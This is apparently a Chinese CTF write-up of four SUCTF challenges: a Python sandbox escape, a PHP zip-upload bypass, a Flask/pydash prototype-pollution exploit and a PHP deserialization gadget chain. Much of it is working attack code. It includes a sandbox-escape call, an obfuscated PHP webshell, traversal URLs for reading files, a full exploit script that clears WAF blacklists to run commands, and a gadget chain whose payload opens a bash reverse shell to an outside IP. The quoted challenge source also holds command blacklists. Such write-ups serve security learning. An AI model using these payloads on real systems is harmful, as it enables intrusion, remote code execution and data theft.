XCTF-SUCTF

比赛时跟着看了两天,赛后又进行了复现,感觉非常有收获

SU_easyk8s_on_aliyun(REALLY VERY EASY)

上来给了一个python的代码执行器,可以猜到是要进行沙箱逃逸.不出意外os和subprocess执行命令都被禁用了.查看subclass

for i in range(500):
    print(''.__class__.__base__.__subclasses__()[i])

发现存在

<class 'posix.ScandirIterator'>  
<class 'posix.DirEntry'>

联想到了posix沙箱逃逸.找了个现成的直接打.

import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/ls","/"], [b"/bin/ls"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

成功执行命令.反弹shell失败,通过wget写文件成功拿shell.后面是打k8的一点不懂,就没去复现.把沙箱的源码扒下来了.
app.py:

from flask import Flask, render_template, request, url_for, flash, redirect

app = Flask(__name__)

import sys

import subprocess

import os

"""
HINT: RCE me! 
"""

INDEX_HTML = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Python Executor</title>
</head>
<body>
   <h1>Welcome to PyExector</h1>

   <textarea id="code" style="width: 100%; height: 200px;" rows="10000" cols="10000" ></textarea>

   <button onclick="run()">Run</button>

    <h2>Output</h2>
    <pre id="output"></pre>

    <script>
        function run() {
            var code = document.getElementById("code").value;

            fetch("/run", {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    code: code
                })
            })
            .then(response => response.text())
            .then(data => {
                document.getElementById("output").innerText = data;
            });
        }
    </script>
</body>
</html>
'''

@app.route('/')
def hello():
    return INDEX_HTML

@app.route("/run", methods=["POST"])
def runCode():
    code = request.json["code"]
    cmd = [sys.executable,  "-i", f"{os.getcwd()}/audit.py"]
    p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
    return p.communicate(input=code.encode('utf-8'))[0]


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

audit.py

import sys

DEBUG = False

def audit_hook(event, args):
    audit_functions = {
        "os.system": {"ban": True},
        "subprocess.Popen": {"ban": True},
        "subprocess.run": {"ban": True},
        "subprocess.call": {"ban": True},
        "subprocess.check_call": {"ban": True},
        "subprocess.check_output": {"ban": True},
        "_posixsubprocess.fork_exec": {"ban": True},
        "os.spawn": {"ban": True},
        "os.spawnlp": {"ban": True},
        "os.spawnv": {"ban": True},
        "os.spawnve": {"ban": True},
        "os.exec": {"ban": True},
        "os.execve": {"ban": True},
        "os.execvp": {"ban": True},
        "os.execvpe": {"ban": True},
        "os.fork": {"ban": True},
        "shutil.run": {"ban": True},
        "ctypes.dlsym": {"ban": True},
        "ctypes.dlopen": {"ban": True}
    }
    if event in audit_functions:
        if DEBUG:
            print(f"[DEBUG] found event {event}")
        policy = audit_functions[event]
        if policy["ban"]:
            strr = f"AUDIT BAN : Banning FUNC:[{event}] with ARGS: {args}"
            print(strr)
            raise PermissionError(f"[AUDIT BANNED]{event} is not allowed.")
        else:
            strr = f"[DEBUG] AUDIT ALLOW : Allowing FUNC:[{event}] with ARGS: {args}"
            print(strr)
            return

sys.addaudithook(audit_hook)

赛后看到官方题解给出的逃逸方法:

DEBUG=True  # open debug
import os,sys
op = print
def print(*args):
  t = sys._getframe(1).f_locals['audit_functions']
  t["os.system"]['ban']= False
  op(t)
  return op(*args)

os.system("ls") ## RCE 

这栈帧逃逸在没有源码的情况下未免有点生硬了吧...

SU_photogallery

压缩包文件上传,发现存在php development server源码泄露,具体打法如下:
image

上面的是存在的php文件,下面的是一个不存在的文件,这个漏洞是在php7低版本通过php -S启动服务器就会存在的.
得到了unzip.php源码如下.

<?php
error_reporting(0);

function get_extension($filename){
    return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
    $filePath = $path . DIRECTORY_SEPARATOR . $filename;
    
    if (is_file($filePath)) {
        $extension = strtolower(get_extension($filename));

        if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
            if (!unlink($filePath)) {
                // echo "Fail to delete file: $filename\n";
                return false;
                }
            else{
                // echo "This file format is not supported:$extension\n";
                return false;
                }
    
        }
        else{
            return true;
            }
}
else{
    // echo "nofile";
    return false;
}
}
function file_rename ($path,$file){
    $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
                $oldPath = $path . DIRECTORY_SEPARATOR . $file;
                $newPath = $path . DIRECTORY_SEPARATOR . $randomName;

                if (!rename($oldPath, $newPath)) {
                    unlink($path . DIRECTORY_SEPARATOR . $file);
                    // echo "Fail to rename file: $file\n";
                    return false;
                }
                else{
                    return true;
                }
}

function move_file($path,$basePath){
    foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
        $destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
        if (!rename($file, $destination)){
            // echo "Fail to rename file: $file\n";
            return false;
        }
      
    }
    return true;
}


function check_base($fileContent){
    $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
    $base64_keywords = [];
    foreach ($keywords as $keyword) {
        $base64_keywords[] = base64_encode($keyword);
    }
    foreach ($base64_keywords as $base64_keyword) {
        if (strpos($fileContent, $base64_keyword)!== false) {
            return true;

        }
        else{
           return false;

        }
    }
}

function check_content($zip){
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
            return false;
        }
             echo "Checking file: $fileName\n";
            $fileContent = $zip->getFromName($fileName);
            

            if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
                // echo "Don't hack me!\n";    
                return false;
            }
            else {
                continue;
            }
        }
    return true;
}

function unzip($zipname, $basePath) {
    $zip = new ZipArchive;

    if (!file_exists($zipname)) {
        // echo "Zip file does not exist";
        return "zip_not_found";
    }
    if (!$zip->open($zipname)) {
        // echo "Fail to open zip file";
        return "zip_open_failed";
    }
    if (!check_content($zip)) {
        return "malicious_content_detected";
    }
    $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
    $path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
    if (!mkdir($path, 0777, true)) {
        // echo "Fail to create directory";
        $zip->close();
        return "mkdir_failed";
    }
    if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (!check_extension($fileName, $path)) {
            // echo "Unsupported file extension";
            continue;
        }
        if (!file_rename($path, $fileName)) {
            // echo "File rename failed";
            continue;
        }
    }
    if (!move_file($path, $basePath)) {
        $zip->close();
        // echo "Fail to move file";
        return "move_failed";
    }
    rmdir($path);
    $zip->close();
    return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadedFile = $_FILES['file'];
    $zipname = $uploadedFile['tmp_name'];
    $path = $uploadDir;

    $result = unzip($zipname, $path);
    if ($result === true) {
        header("Location: index.php?status=success");
        exit();
    } else {
        header("Location: index.php?status=$result");
        exit();
    }
} else {
    header("Location: index.php?status=file_error");
    exit();
}

发现逻辑中我们传上去的文件会被改名,而且会放到随机名的目录下,因此不可控.extractTo本身存在路径穿越漏洞,然而被黑名单屏蔽.

$fileName = $fileInfo['name'];
        if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
            return false;
        }

然而这里可以看到另一个逻辑问题.

if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }

如果说压缩包解压缩失败,那么就会进入if分支,关闭压缩包.那么在下面的for循环中无法读取zip流,也就是认为zip的大小为0.

for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (!check_extension($fileName, $path)) {
            // echo "Unsupported file extension";
            continue;
        }
        if (!file_rename($path, $fileName)) {
            // echo "File rename failed";
            continue;
        }
    }

而后面的移动文件部分不会出现问题,从而得到了一个可控文件名的马.这里我们通过创建同名的文件和目录来实现解压失败,注意文件要在上,不然解压成功的将会是目录而不是文件.
image

image
此时就得传上一个文件名可控的马,通过传特殊的马绕过waf

<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>

image

SU_blog

使用admin注册登录,存在任意文件读取漏洞,访问路由得到源码

http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././var/www/html/app/app.py

app.py:

from flask import *
import time,os,json,hashlib
from pydash import set_
from waf import pwaf,cwaf

app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'

articles = {
    1: "articles/article1.txt",
    2: "articles/article2.txt",
    3: "articles/article3.txt"
}

friend_links = [
    {"name": "bkf1sh", "url": "https://ctf.org.cn/"},
    {"name": "fushuling", "url": "https://fushuling.com/"},
    {"name": "yulate", "url": "https://www.yulate.com/"},
    {"name": "zimablue", "url": "https://www.zimablue.life/"},
    {"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

class User():
    def __init__(self):
        pass

user_data = User()
@app.route('/')
def index():
    if 'username' in session:
        return render_template('blog.html', articles=articles, friend_links=friend_links)
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username] == password:
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials", 403
    return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        users[username] = password
        return redirect(url_for('login'))
    return render_template('register.html')


@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
    if 'username' not in session:
        return redirect(url_for('login'))

    if request.method == 'POST':
        old_password = request.form['old_password']
        new_password = request.form['new_password']
        confirm_password = request.form['confirm_password']

        if users[session['username']] != old_password:
            flash("Old password is incorrect", "error")
        elif new_password != confirm_password:
            flash("New passwords do not match", "error")
        else:
            users[session['username']] = new_password
            flash("Password changed successfully", "success")
            return redirect(url_for('index'))

    return render_template('change_password.html')


@app.route('/friendlinks')
def friendlinks():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))
    return render_template('friendlinks.html', links=friend_links)


@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))

    name = request.form.get('name')
    url = request.form.get('url')

    if name and url:
        friend_links.append({"name": name, "url": url})

    return redirect(url_for('friendlinks'))


@app.route('/delete_friendlink/<int:index>')
def delete_friendlink(index):
    if 'username' not in session or session['username'] != 'admin':
        return redirect(url_for('login'))

    if 0 <= index < len(friend_links):
        del friend_links[index]

    return redirect(url_for('friendlinks'))

@app.route('/article')
def article():
    if 'username' not in session:
        return redirect(url_for('login'))

    file_name = request.args.get('file', '')
    if not file_name:
        return render_template('article.html', file_name='', content="未提供文件名。")

    blacklist = ["waf.py"]
    if any(blacklisted_file in file_name for blacklisted_file in blacklist):
        return render_template('article.html', file_name=file_name, content="大黑阔不许看")
    
    if not file_name.startswith('articles/'):
        return render_template('article.html', file_name=file_name, content="无效的文件路径。")
    
    if file_name not in articles.values():
        if session.get('username') != 'admin':
            return render_template('article.html', file_name=file_name, content="无权访问该文件。")
    
    file_path = os.path.join(BASE_DIR, file_name)
    file_path = file_path.replace('../', '')
    
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except FileNotFoundError:
        content = "文件未找到。"
    except Exception as e:
        app.logger.error(f"Error reading file {file_path}: {e}")
        content = "读取文件时发生错误。"

    return render_template('article.html', file_name=file_name, content=content)


@app.route('/Admin', methods=['GET', 'POST'])
def admin():
    if request.args.get('pass')!="SUers":
        return "nonono"
    if request.method == 'POST':
        try:
            body = request.json

            if not body:
                flash("No JSON data received", "error")
                return jsonify({"message": "No JSON data received"}), 400

            key = body.get('key')
            value = body.get('value')

            if key is None or value is None:
                flash("Missing required keys: 'key' or 'value'", "error")
                return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

            if not pwaf(key):
                flash("Invalid key format", "error")
                return jsonify({"message": "Invalid key format"}), 400

            if not cwaf(value):
                flash("Invalid value format", "error")
                return jsonify({"message": "Invalid value format"}), 400

            set_(user_data, key, value)

            flash("User data updated successfully", "success")
            return jsonify({"message": "User data updated successfully"}), 200

        except json.JSONDecodeError:
            flash("Invalid JSON data", "error")
            return jsonify({"message": "Invalid JSON data"}), 400
        except Exception as e:
            flash(f"An error occurred: {str(e)}", "error")
            return jsonify({"message": f"An error occurred: {str(e)}"}), 500

    return render_template('admin.html', user_data=user_data)


@app.route('/logout')
def logout():
    session.pop('username', None)
    flash("You have been logged out.", "info")
    return redirect(url_for('login'))



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

发现导入了pydash,还使用了set_,存在原型链污染漏洞.
然而在任意读文件处waf.py被过滤了,无法知道过滤的逻辑.
通过访问articles/..././wa../f.py查看waf.py源码.

key_blacklist = [
    '__file__', 'app', 'router', 'name_index',
    'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
    '__loader__', '0',  '1', '3', '4', '5', '6', '7', '8', '9',
]

value_blacklist = [
    'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
    'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
    'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
    'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
    'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
]

# 将黑名单转换为字节串
key_blacklist_bytes = [word.encode() for word in key_blacklist]
value_blacklist_bytes = [word.encode() for word in value_blacklist]

def check_blacklist(data, blacklist):
    for item in blacklist:
        if item in data:
            return False
    return True

def pwaf(key):
    # 将 key 转换为字节串
    key_bytes = key.encode()
    if not check_blacklist(key_bytes, key_blacklist_bytes):
        print(f"Key contains blacklisted words.")
        return False
    return True

def cwaf(value):
    if len(value) > 77:
        print("Value exceeds 77 characters.")
        return False
    
    # 将 value 转换为字节串
    value_bytes = value.encode()
    if not check_blacklist(value_bytes, value_blacklist_bytes):
        print(f"Value contains blacklisted words.")
        return False
    return True

那么目标明确了,接下来就是去污染key_blacklist_bytesvalue_blacklist_bytes,从而绕过黑名单去执行命令.得到最后的exp.

import requests

url = "http://27.25.151.48:5000/Admin?pass=SUers"

cookie = {
    "session": "eyJ1c2VybmFtZSI6ImFkbWluIn0.Z4Sr_Q.g7AibUDpCzZlqq5uF-VJgvoWHng"
}

json0 = {
    "key":
    ".__init__.__globals__.pwaf.__globals__.key_blacklist_bytes",
    "value": ""
}

json1 = {
    "key":
    ".__init__.__globals__.pwaf.__globals__.value_blacklist_bytes",
    "value": ""
}

json2 = {
    "key":
    ".__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0",
    "value": "*;import os;os.system('/readflag >/tmp/lbzlbz.txt')"
}

headers = {"Referer": "http://27.25.151.48:5000/Admin?pass=SUers"}

r = requests.post(url, cookies=cookie, json=json0, headers=headers)

print(r.text)

r = requests.post(url, cookies=cookie, json=json1, headers=headers)

print(r.text)

r = requests.post(url, cookies=cookie, json=json2, headers=headers)

print(r.text)

url = "http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././tmp/lbzlbz.txt"

r = requests.get(url, cookies=cookie, headers=headers)

print(r.text)

r = requests.get(url, cookies=cookie, headers=headers)

print(r.text)

SU_POP

赵哥挖的链子,狠狠的学习了

<?php
namespace React\Promise\Internal {
    class RejectedPromise
    {
        private $handled = false;
        private $reason;
        function __construct()
        {
            $this->handled=false;
            $this->reason =  new \Cake\Http\Response();
        }
    }
}
namespace Cake\Http{
    class Response
    {
        private $stream ;
        public function __construct()
        {
            $this->stream = new \Cake\ORM\Table();
        }
    }
}
namespace PHPUnit\Framework\MockObject\Generator{
    class MockClass{
        private readonly string $mockName;
        private readonly string $classCode;
        public function __construct()
        {
            $this->mockName = "lbz";
            $this->classCode = "system(\"bash -c 'exec bash -i &>/dev/tcp/123.57.23.40/1111 <&1'\");";
        }
    }
}
namespace Cake\ORM{
    class BehaviorRegistry{
        protected array $_methodMap ;
        protected array $_loaded;
        public function __construct()
        {
            $this->_loaded=["lbz"=>new \PHPUnit\Framework\MockObject\Generator\MockClass()];
            $this->_methodMap = ["rewind" => ["lbz","generate"]];
        }
    }
    Class Table
    {
        protected BehaviorRegistry $_behaviors;
        public function __construct()
        {
            $this->_behaviors= new BehaviorRegistry();
        }
    }
}
namespace GadgetChain {
    $a=new \React\Promise\Internal\RejectedPromise();
    $str = serialize($a);
    echo urlencode(base64_encode($str));
}

比赛时没找到MockClassMockTrait的入口,所以直接做不下去了.第一次接触链子挖掘,认为核心是能够有好用的正则配合Seay去进行筛查(不然不会定位到Table吧).回头专门研究研究.

posted @ 2025-01-15 09:45  colorfullbz  阅读(79)  评论(0)    收藏  举报